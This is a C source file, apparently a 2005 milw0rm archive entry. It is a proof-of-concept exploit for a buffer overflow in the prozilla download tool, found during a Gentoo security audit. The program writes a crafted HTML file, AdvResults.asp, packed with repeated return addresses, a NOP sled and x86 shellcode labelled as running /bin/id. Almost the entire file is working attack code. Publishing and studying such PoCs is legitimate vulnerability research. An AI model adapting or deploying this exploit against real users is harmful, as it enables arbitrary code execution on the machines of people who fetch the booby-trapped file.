47 lines
No EOL
1.2 KiB
C
47 lines
No EOL
1.2 KiB
C
#include <stdio.h>
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#include <string.h>
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#include <stdlib.h>
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#define OVERFLOW (1<<10)+32
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#define SLEDSIZ (1<<10)
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#define RETADDR 0x806977a+SLEDSIZ/2
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#define OUTPUT "AdvResults.asp"
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/*
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* prozilla bug, found while auditing for gentoo bug #70090
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* -taviso@gentoo.org
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*/
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/* execve() /bin/id */
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unsigned char shellcode[] =
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"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7e"
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"\x02\xad\x8e\x83\xeb\xfc\xe2\xf4\x14\x09\xf5\x17\x2c\x64\xc5\xa3"
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"\x1d\x8b\x4a\xe6\x51\x71\xc5\x8e\x16\x2d\xcf\xe7\x10\x8b\x4e\xdc"
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"\x96\x0a\xad\x8e\x7e\x2d\xcf\xe7\x10\x2d\xc4\xea\x7e\x55\xfe\x07"
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"\x9f\xcf\x2d\x8e";
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int main(int argc, char **argv)
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{
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unsigned char *buf;
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void *ret = (void *) RETADDR;
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FILE *exploit;
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int i;
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exploit = fopen(OUTPUT, "w");
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fprintf(exploit, "<PRE><A HREF=>");
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buf = malloc(OVERFLOW);
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for (i = 0; buf + i < buf + OVERFLOW; i += sizeof(void *))
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memcpy(buf + i, &ret, sizeof(void *));
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fwrite(buf, OVERFLOW, 1, exploit);
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fprintf(exploit, "</A><A HREF=></A><A HREF=></A></PRE>");
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buf = realloc(buf, SLEDSIZ + sizeof(shellcode));
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memset(buf, 0x90, SLEDSIZ);
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memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));
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fwrite(buf, SLEDSIZ + sizeof(shellcode), 1, exploit);
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free(buf);
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fprintf(stderr, "[*] %s created.\n", OUTPUT);
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return 0;
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}
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// milw0rm.com [2005-10-02]
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